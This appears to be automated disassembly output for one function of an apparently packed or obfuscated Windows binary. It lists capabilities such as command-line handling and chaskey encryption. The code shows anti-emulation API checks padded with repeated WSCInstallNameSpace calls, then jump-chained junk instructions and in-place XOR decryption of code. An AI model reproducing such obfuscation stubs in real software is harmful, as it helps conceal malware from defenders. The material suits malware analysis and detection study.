Function at 0x401000
Capabilities:
Accept command line arguments
Encrypt data using chaskey

Disassembly:
call sub.user32.dll_GetMessageExtraInfo
cmp eax, 0xffffff0d
jne 0x40106b
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
ret
call sub.user32.dll_GetInputDesktop
cmp eax, 0xffffff21
jne 0x401103
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
ret
call sub.kernel32.dll_GetCommandLineA
cmp eax, 0xffffff25
jne 0x401187
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
ret
call sub.user32.dll_GetMessageExtraInfo
cmp eax, 0xfffffeee
jne 0x40121a
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
call sub.ws2_32.dll_WSCInstallNameSpace
ret
jmp 0x46a9ae
ror edx, 8
or edi, esi
ror ecx, 0x16
mov edx, esi
jmp 0x46aeb9
pop edx
add ecx, esi
xchg ecx, esi
mov ecx, edi
mov ebx, ecx
or ebx, ecx
or esi, ecx
mov ecx, esi
or ecx, edi
mov ebx, ecx
jmp 0x46d5d3
call edx
or edi, ebx
sub esi, ecx
dec edi
sub ecx, esi
or ecx, ebx
mov edi, ebx
jmp 0x46d321
push 0x7a0a050c
and edi, esi
add ecx, edi
sub ebx, esi
mov ebx, 0x7ac9f484
and ecx, edi
inc ecx
mov ebx, ecx
sub esi, ecx
sub ecx, 0x7acc2d4f
jmp 0x46d4ab
mov edx, 0x43370267
mov esi, ecx
not ebx
or ebx, edi
jmp 0x46d6fe
push 0x7a0f29a5
add ecx, esi
add ebx, ecx
or ecx, ebx
bswap ecx
xor edi, esi
sub esi, 0x7ada8517
and ebx, edi
add edi, 0x7adaeb86
or ebx, 0x7adb3315
add ecx, ebx
inc ecx
shr edi, 2
xchg ecx, ebx
jmp 0x46bd9a
push 0x7a0290d8
sub edi, ebx
xor ecx, 0x7ae5deb4
xchg edi, esi
neg esi
xor edi, esi
sub edi, esi
rol ecx, 0x1f
add ecx, ebx
not edi
shr esi, 0x1c
xor ebx, ecx
bswap ecx
jmp 0x46d116
push 0x7a0407d2
sub ebx, 0x7af2e579
xchg ebx, esi
add ebx, 0x7af3a093
xchg ebx, esi
or ebx, ecx
xor edi, 0x7af48504
mov ebx, esi
mov ebx, ecx
xchg esi, edi
not ebx
mov ecx, 0x7af64408
dec ecx
dec ecx
or ebx, 0x7af7642e
jmp 0x46b64d
xor eax, eax
ror ecx, 0x12
xchg ecx, edi
ror edi, 0xc
add edi, esi
inc esi
mov ecx, edi
add esi, ecx
xchg ebx, ecx
and ebx, 0x7b0e3bc2
shl ecx, 0xc
jmp 0x46b26b
xor dword [edx], 0x523911e8
add esi, 0x7b146596
and esi, 0x7b149de0
add esi, ecx
sub edi, ecx
or esi, ecx
xor ecx, ebx
jmp 0x46ca18
mov edx, 0x43370267
and edi, 0x7b19bef1
shr ecx, 0x1f
xchg ebx, ecx
sub ecx, edi
add edi, ebx
jmp 0x46c769
push 0x79dd147b
and esi, edi
and esi, ecx
or esi, ecx
xchg ebx, edi
xor ecx, edi
jmp 0x46c7b6
push 0x7a097b3d
xchg edi, ecx
or edi, esi
sub ecx, 0x7b2d947c
sub edi, ecx
xor ecx, edi
shl ebx, 4
sub ecx, edi
not esi
ror ecx, 0x11
bswap edi
add ebx, esi
sub esi, edi
jmp 0x46aa84
pop edx
ror ebx, 0x18
sub edi, esi
add ebx, ecx
add esi, 0x7b3d79f3
neg edi
and edi, 0x7b3e65a9
or ebx, edi
xchg ecx, ebx
shl esi, 0xc
xchg edi, ecx
mov ecx, esi
jmp 0x46ca6b
pop edx
xchg edi, ebx
sub ecx, ebx
not esi
xor esi, ecx
mov ecx, edi
xor edi, 0x7b4c82e8
and edi, esi
not edi
xchg ebx, ecx
mov ecx, 0x7b4e3e6a
or edi, 0x7b4f0dc1
jmp 0x46d5be
push 0x79dffa15
mov ebx, esi
and edi, 0x7b5ac5ff
sub edi, ebx
not edi
or edi, ecx
nop
rol edi, 0x16
bswap esi
and esi, edi
and ecx, 0x7b5df3c9
rol ecx, 0x16
dec ecx
or esi, 0x7b5f38b9
jmp 0x46d627
pop edx
or esi, ebx
xchg esi, edi
mov ebx, esi
jmp 0x46b223
push 0x79e71743
or ebx, 0x7b657796
mov edi, esi
xchg ecx, edi
add edi, ecx
and ebx, 0x7b671419
or ebx, 0x7b6773c8
bswap ecx
sub ebx, edi
shr ecx, 0x1f
jmp 0x46d157
push 0x7a1025a8
xchg esi, ebx
rol esi, 8
and edi, 0x7b71444f
sub ecx, edi
not ecx
xor edi, ebx
dec edi
sub esi, 0x7b7361ab
dec ebx
and edi, esi
jmp 0x46d794
call edx
add ecx, edi
xchg edi, ecx
and ecx, 0x7b78cffd
mov ebx, ecx
sub ecx, 0x7b79b7e8
and ebx, esi
xor edi, ebx
ror esi, 0x16
xchg esi, ebx
bswap esi
and ebx, ecx
jmp 0x46c330
pop edx
xchg edi, ecx
sub edi, esi
add ebx, edi
or ebx, ecx
jmp 0x46beba
pop edx
xchg ebx, edi
shl ebx, 0x1e
xchg esi, ebx
mov ebx, esi
mov ebx, ecx
or esi, ebx
or ebx, ecx
jmp 0x46b55a
push 0x79e2c949
xor esi, edi
or ecx, 0x7b9037be
or edi, esi
xor esi, 0x7b910681
add edi, esi
ror ebx, 0xf
mov edi, esi
jmp 0x46b71f
xor dword [edx], 0x5234bde8
sub ecx, 0x7b980f9f
and ebx, ecx
shr esi, 9
sub ebx, 0x7b993afd
shr ebx, 0x11
or esi, edi
ror ebx, 9
nop
mov ecx, esi
jmp 0x46bf60
call fcn.0046b570
or edi, ecx
shr ecx, 0xf
mov edi, 0x7ba5df16
inc esi
or esi, edi
shl esi, 1
or edi, esi
jmp 0x46d7ba
push 0x79fe4d15
xor esi, 0x7bab36c1
dec ebx
xor esi, ecx
shr ebx, 0xb
mov edi, esi
and edi, ebx
sub esi, ecx
sub ecx, esi
and ecx, 0x7bae7d10
add esi, ebx
neg esi
or ebx, ecx
jmp 0x46ca3d
push 0x79fd5df2
inc ebx
xor ecx, edi
shr ecx, 0x11
mov edi, ebx
xor ebx, edi
add edi, ebx
add esi, edi
dec edi
or ecx, 0x7bb39516
add ebx, ecx
jmp 0x46d252
call fcn.0046b570
and ecx, edi
ror edi, 0x1e
xor ebx, 0x7bbb5db5
ror edi, 0xc
sub ebx, edi
xchg ebx, ecx
xor esi, ecx
sub ecx, edi
xor ebx, esi
jmp 0x46b6ab
push esp
sub ebx, ecx
ror esi, 0xc
xor ebx, 0x7bc423f8
mov edi, 0x7bc48d1f
mov esi, ecx
jmp 0x46c877
push 0x7a087253
sub esi, ecx
sub esi, ecx
add ebx, edi
xor esi, 0x7bcaab02
xor ecx, edi
jmp 0x46c8d8
pop edx
mov ecx, 0x7bea1e93
mov ebx, ecx
mov ebx, edi
xor esi, ebx
xchg ecx, ebx
xor esi, edi
xor ebx, edi
xchg ecx, ebx
jmp 0x46ba49
push 0x79eee52d
add ebx, ecx
add ecx, 0x7bedf848
xor ecx, edi
and esi, ecx
jmp 0x46aabe
pop edx
xchg ecx, esi
sub ecx, edi
mov ecx, ebx
add ebx, edi
shl ebx, 0x19
add esi, ebx
xor ecx, edi
jmp 0x46ba2a
call fcn.0046b570
mov ecx, 0x7c02ac9e
mov ebx, edi
xor esi, ebx
xor ecx, edi
not ecx
add ecx, ebx
jmp 0x46d401
mov edx, 0x6440607e
add edi, esi
sub esi, ecx
xchg ecx, esi
and ecx, edi
sub ebx, 0x7c09878b
xor edi, ecx
neg esi
jmp 0x46b2e2
call edx
or ebx, 0x7c135752
sub esi, edi
or ebx, edi
rol edi, 0x14
not esi
add ecx, esi
or ebx, edi
xchg ebx, edi
ror ebx, 9
and edi, ebx
sub edi, 0x7c176728
inc ebx
jmp 0x46c947
push 0x79e699e6
or ecx, 0x7c1a8bb0
shr ecx, 0x1c
dec ecx
sub ebx, edi
add esi, ebx
jmp 0x46b097
push 0x79e34701
sub esi, ecx
mov ecx, edi
or ebx, edi
sub edi, esi
xchg ebx, esi
neg ebx
xor ebx, edi
xor edi, 0x7c24a4fd
and edi, ebx
rol edi, 5
xor ecx, 0x7c25cddc
not edi
and ecx, 0x7c268fe0
neg ecx
add edi, 0x7c274dba
jmp 0x46c03e
pop edx
bswap ecx
or ebx, 0x7c2cbbfb
add ecx, edi
jmp 0x46d457
push 0x79f1a944
and esi, edi
mov esi, ebx
mov esi, ebx
xor ecx, esi
mov ecx, 0x7c2e2cd1
sub ebx, 0x7c2e6459
sub ebx, 0x7c2e9f88
rol esi, 6
or edi, 0x7c2f1e90
ror esi, 0xa
or esi, ecx
jmp 0x46bdaf
pop edx
xor ecx, edi
xor ebx, ecx
dec ebx
neg esi
and ebx, esi
xchg edi, ebx
xchg ecx, esi
mov esi, ebx
jmp 0x46bfd4
mov edx, 0x4132136a
sub ecx, edi
bswap ebx
shr ebx, 6
and edi, ecx
xchg edi, ecx
mov ecx, 0x7c6390ab
xor esi, ecx
inc edi
xor ecx, edi
jmp 0x46bb01
push 0x79e626e4
xor edi, ebx
or ebx, 0x7c65a71b
xor ecx, 0x7c660393
ror esi, 5
sub ebx, 0x7c66e3d5
ror edi, 0x1b
shl edi, 0xe
add esi, ecx
sub ebx, edi
bswap esi
jmp 0x46b6eb
call fcn.0046b570
sub ecx, ebx
inc ebx
xor ebx, ecx
sub edi, ebx
bswap edi
shl esi, 8
add ebx, ecx
and esi, ebx
shl edi, 0x10
and edi, 0x7c7a7751
sub esi, edi
xor edi, esi
jmp 0x46c6b5
mov edx, 0x6440607e
add ebx, esi
and esi, ecx
xor ecx, ebx
not ebx
xchg ecx, edi
rol edi, 0xf
and ecx, ebx
nop
mov ebx, edi
mov ecx, edi
xor esi, edi
xor edi, ecx
jmp 0x46bc70
call edx
xchg esi, ebx
and edi, ebx
or esi, edi
neg edi
shr edi, 0x16
sub esi, ebx
sub ecx, esi
xor ecx, edi
or edi, 0x7c93607c
xchg ebx, ecx
add ecx, ebx
and ebx, edi
jmp 0x46b796
push 0x79eb0e80
mov ecx, esi
or ecx, ebx
mov edi, 0x7c94f17d
xchg esi, ecx
and ecx, 0x7c95bddb
rol edi, 0xb
bswap ebx
xor ecx, esi
sub ebx, ecx
rol ecx, 0x1f
mov edi, 0x7c980e9f
mov ebx, 0x7c986b2e
not ecx
xchg ebx, ecx
rol esi, 0x15
jmp 0x46cbb7
call fcn.0046b570
sub ecx, ebx
sub ecx, 0x7c9a91a0
and ecx, 0x7c9af27d
not ebx
rol esi, 0x1e
xchg ebx, ecx
and ecx, ebx
jmp 0x46c0af
call edx
add ebx, 0x7ca34391
mov ecx, 0x7ca3a674
or edi, ecx
and ecx, edi
xor ebx, esi
rol ecx, 3
jmp 0x46c717
push 0x7a0fa361
rol ecx, 1
add edi, 0x7cba3fd0
xor esi, edi
jmp 0x46b105
mov edx, 0x6440607e
bswap ecx
ror esi, 0x13
sub ecx, 0x7cbc24a2
shl ebx, 0x13
sub ebx, esi
or ecx, edi
and esi, edi
jmp 0x46b398
call edx
xchg ebx, ecx
mov ebx, edi
shl esi, 0x11
or ebx, esi
and esi, ebx
add ebx, esi
inc ecx
add ecx, 0x7cc485c5
dec esi
jmp 0x46cf1f
push 0x7a038e49
or ebx, esi
sub ebx, esi
inc esi
xchg esi, ecx
jmp 0x46ac4c
push 0x79f8cc1d
neg ebx
shr esi, 0x10
sub esi, 0x7cd0a8e5
sub ecx, 0x7cd11573
mov ebx, 0x7cd174e9
or ecx, edi
add ebx, edi
sub edi, esi
jmp 0x46cc0f
push 0x7a07eac6
add ebx, esi
add esi, edi
and esi, ebx
xor edi, ecx
sub edi, esi
or ebx, ecx
add ecx, edi
or ebx, esi
xor ebx, ecx
add edi, ecx
xchg esi, ebx
sub ebx, esi
sub ecx, esi
add ebx, edi
and edi, esi
dec esi
jmp 0x46b41d
xor dword [edx], 0x523629e8
xor ebx, esi
xchg esi, ecx
sub ebx, ecx
sub edi, esi
neg edi
xor edi, 0x7ceaf69d
bswap ebx
mov edi, ecx
jmp 0x46d2c3
push 0x79df8faf
add esi, ecx
dec edi
xchg ebx, esi
sub ebx, 0x7cf6e5f7
sub edi, esi
and ebx, edi
jmp 0x46b036
mov edx, 0x6440607e
xor esi, edi
mov edi, ecx
or esi, ecx
mov ebx, ecx
or edi, 0x7d029f97
and ecx, 0x7d02fef3
ror ecx, 0x12
add ebx, ecx
ror edi, 0x19
and edi, esi
and ebx, ecx
jmp 0x46c3f6
mov edx, 0x401400
bswap ecx
and edi, esi
add esi, ecx
dec ebx
xor edi, 0x7d066ce0
sub ebx, 0x7d06af55
sub esi, ecx
add ebx, ecx
not esi
xor edi, ebx
mov esi, ecx
inc ecx
xor ebx, ecx
add ecx, edi
jmp 0x46ad57
call edx
and esi, ecx
dec edi
or ecx, ebx
or ecx, esi
add ebx, 0x7d0d97f9
add ecx, ebx
and ecx, esi
not ebx
add ecx, ebx
shr edi, 0x1e
xchg ebx, ecx
add ebx, edi
mov esi, 0x7d0fa742
xor esi, edi
jmp 0x46d295
push 0x401400
shr ebx, 0xb
xor edi, 0x7d1481c2
dec ecx
jmp 0x46d3e5
call edx
and edi, ebx
dec ebx
inc edi
shr esi, 0x1e
add ebx, 0x7d30ea22
jmp 0x46ce1a
mov edx, 0x43370267
sub ecx, edi
and ecx, esi
sub ecx, edi
shr edi, 0x15
and esi, 0x7d414b5a
sub ebx, esi
jmp 0x46d2ab
pop edx
mov ecx, ebx
add ebx, 0x7d5064fe
and esi, edi
shl ecx, 0x12
xchg ebx, edi
not esi
mov ebx, ecx
shl edi, 0xd
mov esi, ebx
inc ebx
xchg edi, esi
jmp 0x46b541
pop edx
or ebx, edi
xchg edi, ecx
xchg esi, edi
and edi, 0x7d58a63d
add esi, edi
or ecx, 0x7d5961cd
xor esi, ecx
ror ebx, 2
ror esi, 0x11
xor esi, ebx
jmp 0x46b1b2
call fcn.0046b570
and edi, ebx
inc ebx
xchg edi, esi
mov ebx, esi
mov esi, 0x7d63a87d
sub edi, ecx
jmp 0x46b152
pop edx
xchg ecx, esi
shl esi, 0x12
shl ecx, 0x13
shl edi, 8
mov edi, ecx
xor esi, edi
sub edi, ecx
add edi, 0x7d674b23
mov esi, 0x7d67b596
and esi, edi
jmp 0x46abbd
call fcn.0046b570
or ebx, ecx
or esi, edi
or edi, ebx
or edi, ebx
xchg edi, esi
xchg ebx, esi
xchg esi, ecx
or ebx, edi
dec edi
and esi, 0x7d6c5f5b
xchg ecx, esi
inc ecx
bswap edi
mov ebx, esi
jmp 0x46c1f7
pop edx
shr esi, 1
or esi, ecx
and ecx, 0x7d7f101a
shr esi, 1
bswap edi
xchg edi, ecx
xor esi, edi
rol edi, 0x18
add edi, ecx
or ebx, ecx
jmp 0x46b1a4
push esp
xor ebx, ecx
xchg ebx, esi
mov edi, ecx
xor ebx, 0x7daf18e1
dec edi
inc edi
sub ebx, 0x7db03ae5
sub ebx, 0x7db09a28
sub ebx, 0x7db11dae
mov ebx, esi
and ecx, ebx
xchg ebx, edi
xor esi, ecx
jmp 0x46b3e4
pop edx
xor ecx, ebx
sub esi, ebx
xor ecx, edi
jmp 0x46b066
push 0x695ae
shr edi, 0x18
dec edi
and ebx, esi
mov esi, ecx
or esi, edi
sub esi, edi
add esi, 0x7dbd00b0
bswap ecx
mov ebx, edi
mov ebx, esi
sub ebx, ecx
jmp 0x46c0f7
call fcn.0046b570
and ecx, 0x7dc2b1a5
or ecx, esi
xor ebx, 0x7dc373ee
add edi, ebx
mov ecx, 0x7dc440f2
and esi, 0x7dc4a3d4
and esi, 0x7dc500ff
mov edi, ebx
sub ebx, ecx
jmp 0x46aa31
mov edx, 0x6440607e
rol ebx, 0xf
add edi, ecx
dec edi
or edi, ebx
and ecx, 0x7dcb4784
rol edi, 0x1c
xor ecx, ebx
xchg ebx, esi
and ecx, edi
add esi, 0x7dcd2bca
mov edi, ecx
xor edi, esi
jmp 0x46cf8a
pop edx
xor esi, ecx
mov ebx, ecx
add edi, ecx
xchg ecx, edi
xor edi, ecx
shl edi, 0x18
sub edi, ecx
xchg edi, esi
and ecx, esi
sub edi, ecx
rol edi, 0x1a
xor ecx, 0x7dd1c311
mov ebx, 0x7dd1fb9a
jmp 0x46be73
push 0x79f9bea0
xchg ecx, edi
xor ecx, edi
not edi
sub edi, esi
xor edi, esi
rol edi, 9
xchg ebx, ecx
mov ebx, edi
xchg ecx, edi
add ecx, 0x7ddbb08f
add ecx, esi
jmp 0x46c293
push 0x40
and ebx, 0x7ddc3f77
mov edi, 0x7ddc774b
ror esi, 0xc
rol ecx, 0x19
and ecx, edi
or edi, ebx
xor esi, ebx
rol edi, 0x13
jmp 0x46c723
push 0x79ea903b
xor edi, 0x7de03d73
and ebx, edi
or edi, esi
shl edi, 0x19
xor ebx, esi
neg edi
mov edi, ebx
jmp 0x46bc38
push 0x7a08fb53
dec esi
sub ecx, esi
add esi, ebx
ror ebx, 0xb
not ebx
shr ecx, 0xc
ror edi, 4
sub ecx, 0x7de37ce5
xor ebx, ecx
xchg ebx, ecx
jmp 0x46aecd
call fcn.0046b570
xchg ebx, esi
bswap ecx
bswap esi
or ecx, 0x7de9055b
xor edi, 0x7de99bcd
sub ebx, esi
neg ebx
jmp 0x46cb8d
pop edx
add ecx, 0x7deae1fd
add edi, ebx
mov ecx, 0x7deb5464
inc ecx
and ecx, edi
and edi, 0x7dec271d
mov ebx, edi
inc esi
not ebx
jmp 0x46b5b3
xor dword [edx], 0x523999e8
or edi, esi
xchg ecx, ebx
neg edi
neg esi
xor ebx, esi
and esi, 0x7e028f12
sub esi, ebx
not ebx
xchg esi, ecx
and esi, ebx
sub esi, edi
jmp 0x46cfaf
push 0x79fec2c7
add ebx, edi
xor esi, ebx
inc ecx
add esi, edi
jmp 0x46ae0c
pop edx
xchg edi, esi
dec ebx
not edi
xor edi, 0x7e0c1f9a
rol ecx, 0x16
or ecx, edi
or edi, 0x7e0d6ca1
ror ebx, 0x1d
shl esi, 0x17
add edi, ebx
or ecx, ebx
jmp 0x46cf00
pop edx
neg esi
or edi, ebx
add esi, 0x7e104343
mov ebx, 0x7e10ac9e
mov ecx, esi
and esi, edi
ror ecx, 0xe
xor ecx, esi
sub ebx, 0x7e12a600
xchg edi, ecx
sub esi, ecx
or esi, 0x7e13da1f
inc ecx
nop
rol ecx, 0x1f
jmp 0x46d0b1
pop edx
inc edi
mov ecx, edi
sub edi, ebx
xor ecx, edi
or ebx, esi
neg esi
or ebx, 0x7e1cefaf
dec edi
shr edi, 0x1b
and ecx, ebx
dec edi
add edi, 0x7e1f0167
and ebx, edi
not ecx
jmp 0x46afc3
call edx
or edi, esi
sub ebx, 0x7e2de2d2
xor edi, ebx
mov ecx, ebx
rol ecx, 0x15
shr ebx, 0x1f
neg ecx
xor esi, ecx
rol ecx, 0xe
xchg edi, esi
and ebx, 0x7e319b8e
and ebx, ecx
jmp 0x46af50
push 0x79eb7ad7
not ebx
dec ebx
sub ecx, edi
bswap ebx
xor esi, 0x7e34218e
and esi, edi
xor edi, ecx
inc ecx
mov ecx, 0x7e35b242
jmp 0x46bbd5
push 0x79f945c6
and ebx, 0x7e3cc17e
mov ebx, esi
or ecx, esi
and esi, ebx
xchg ebx, esi
ror edi, 6
mov esi, ecx
or edi, 0x7e3fa461
xor ebx, edi
sub ecx, esi
jmp 0x46c852
pop edx
not ebx
and ecx, ebx
xchg ecx, esi
sub esi, ebx
neg edi
sub ebx, ecx
sub edi, ebx
bswap ebx
jmp 0x46c8bb
xor dword [edx], 0x5238b1e8
shr ebx, 5
xor ebx, edi
or esi, edi
sub ecx, edi
shr ecx, 0x13
jmp 0x46add1
pop edx
sub esi, ebx
or esi, ecx
neg ecx
and esi, ebx
xchg esi, ecx
xchg edi, ecx
add esi, ecx
shr ebx, 2
shr ecx, 0x1c
add edi, 0x7e706e3b
add edi, 0x7e70cf29
mov ecx, ebx
not ecx
add ecx, 0x7e71e749
mov esi, ecx
xchg edi, esi
jmp 0x46ab2e
pop edx
xchg edi, esi
add edi, ebx
add edi, ebx
and ecx, esi
add ebx, ecx
add ecx, ebx
not ecx
mov esi, ecx
xor ebx, edi
xor ecx, 0x7e79a627
and ecx, 0x7e7a01d4
or esi, ebx
and esi, 0x7e7acce6
jmp 0x46d1bb
xor dword [edx], 0x523819e8
add ebx, edi
nop
ror ebx, 4
sub esi, edi
add esi, edi
add ecx, esi
add esi, edi
jmp 0x46cd30
pop edx
xchg edi, ecx
add ecx, 0x7e8df7e6
xchg ebx, edi
xchg ecx, ebx
xchg ebx, edi
mov ebx, 0x7e8f659b
xor esi, 0x7e8fd431
jmp 0x46d30d
pop edx
add edi, 0x7e90498e
not ebx
add ebx, esi
or edi, 0x7e9169b0
shr ebx, 0x1c
add ebx, esi
shl esi, 6
xchg edi, ecx
mov ebx, 0x7e934b0d
inc edi
xchg ecx, esi
and esi, ebx
shr edi, 7
mov edi, ecx
add esi, ebx
jmp 0x46d033
call fcn.0046b570
and ebx, 0x7e9b38bb
ror ecx, 0x1e
or ebx, ecx
shr ecx, 8
sub esi, ebx
ror ebx, 0x11
and edi, 0x7e9da053
and ebx, esi
jmp 0x46d383
xor dword [edx], 0x523a35e8
xor esi, edi
ror edi, 0xa
and ebx, edi
add ebx, esi
add edi, 0x7ea07a3c
mov esi, ebx
neg ecx
jmp fcn.0046c9ae
pop edx
not ecx
or ebx, ecx
add esi, ecx
sub ecx, 0x7eb0dadf
sub ebx, edi
or esi, 0x7eb1c91e
sub ebx, 0x7eb23e5f
and ebx, 0x7eb2a704
add ecx, 0x7eb314d0
bswap edi
jmp 0x46d690
pop edx
inc esi
add edi, esi
mov esi, edi
sub esi, 0x7ebd122f
add ebx, esi
neg ecx
xor ecx, edi
shl edi, 0x1d
and ebx, ecx
or ebx, esi
xor esi, 0x7ebfec0a
add edi, ecx
rol ecx, 0xe
sub esi, 0x7ec11d00
jmp 0x46c508
push 0x7a031381
bswap ecx
xchg esi, ecx
rol ebx, 6
mov edi, ebx
rol esi, 0x17
xor ebx, 0x7ecaea9c
jmp 0x46be62
mov edx, 0x43370267
xor ebx, esi
mov ebx, edi
mov ecx, 0x7ed060ac
bswap edi
mov ecx, edi
xor ebx, esi
bswap esi
rol ebx, 1
xor edi, esi
xor ebx, esi
and ebx, edi
jmp 0x46c432
pop edx
sub esi, ecx
xor ecx, ebx
not ecx
mov ecx, ebx
xor ebx, ecx
ror ecx, 0x11
mov esi, edi
add ebx, esi
and esi, ecx
sub esi, edi
xor edi, 0x7edef3d1
xchg esi, edi
and ebx, ecx
add esi, ebx
or edi, ebx
jmp 0x46ccdf
push 0x79fdca43
mov ebx, 0x7eee2853
and ecx, esi
or edi, 0x7eeef2dc
xor edi, ebx
not esi
or esi, edi
jmp 0x46b31e
pop edx
xor ebx, esi
dec esi
shl esi, 0x1a
dec ebx
add ecx, esi
and ecx, edi
shl edi, 7
add ecx, edi
jmp 0x46c378
call fcn.0046b570
mov ecx, esi
mov ebx, edi
mov ecx, edi
xor ecx, ebx
add ebx, ecx
sub ebx, ecx
sub ebx, edi
jmp 0x46bdee
xor dword [edx], 0x52378de8
neg ecx
and ecx, esi
xchg edi, ecx
mov ecx, 0x7efc167a
or ebx, edi
sub esi, edi
sub ecx, edi
xor edi, ebx
and esi, 0x7efe0ad6
neg ecx
jmp 0x46ce97
pop edx
xchg ebx, edi
mov edi, esi
and edi, ebx
and edi, esi
xor ecx, esi
add ebx, edi
neg ebx
jmp 0x46c068
pop edx
or esi, edi
add edi, ecx
sub esi, ecx
rol esi, 0x1a
inc ecx
inc ecx
add ecx, 0x7f0797ee
dec ebx
or esi, ebx
and esi, ecx
xor edi, ecx
xor esi, edi
add ebx, 0x7f0a276e
inc ebx
jmp 0x46aa19
call fcn.0046b570
shl ecx, 0x1f
nop
xchg esi, ecx
inc ebx
add esi, ebx
or esi, 0x7f0d3529
sub ecx, edi
or esi, ebx
bswap ecx
bswap ecx
dec ebx
neg ecx
jmp 0x46bcd2
call edx
and ebx, ecx
add ebx, edi
and ebx, ecx
and ebx, edi
or ecx, esi
ror ecx, 0xe
xor edi, esi
dec ecx
inc ebx
shr ebx, 0x17
mov ebx, esi
jmp 0x46b9e5
call edx
xor ecx, edi
xchg edi, ecx
mov ecx, 0x7f1db3b7
and ebx, edi
mov edi, ebx
or edi, ecx
add edi, 0x7f1e98dc
jmp 0x46c7e1
call edx
add ebx, 0x7f1eeacf
mov esi, ecx
xchg esi, ebx
mov ecx, edi
dec ebx
mov edi, 0x7f2015dd
sub ecx, esi
mov ecx, 0x7f207be1
or esi, ebx
jmp 0x46caf6
pop edx
add ebx, ecx
xor esi, ecx
mov ecx, ebx
mov edi, ebx
add edi, esi
ror edi, 0xe
xchg ebx, ecx
jmp 0x46cdca
push 0x79f136ef
mov ebx, ecx
and edi, 0x7f2807e4
xor edi, ebx
and ebx, esi
xchg ecx, esi
xchg ebx, esi
sub esi, 0x7f2a5eff
jmp 0x46b7a6
mov edx, 0x43370267
mov esi, 0x7f311546
neg ecx
or ebx, 0x7f31e031
or ecx, edi
neg ebx
xor ebx, 0x7f332f45
xor ecx, 0x7f338c46
shl ebx, 6
shr esi, 0x15
jmp 0x46b61a
mov edx, 0x6440607e
rol edi, 0xc
shr edi, 0xb
add ebx, ecx
sub ebx, esi
or edi, ebx
xchg edi, ecx
jmp 0x46c927
pop edx
shl edi, 0x10
ror ebx, 0xd
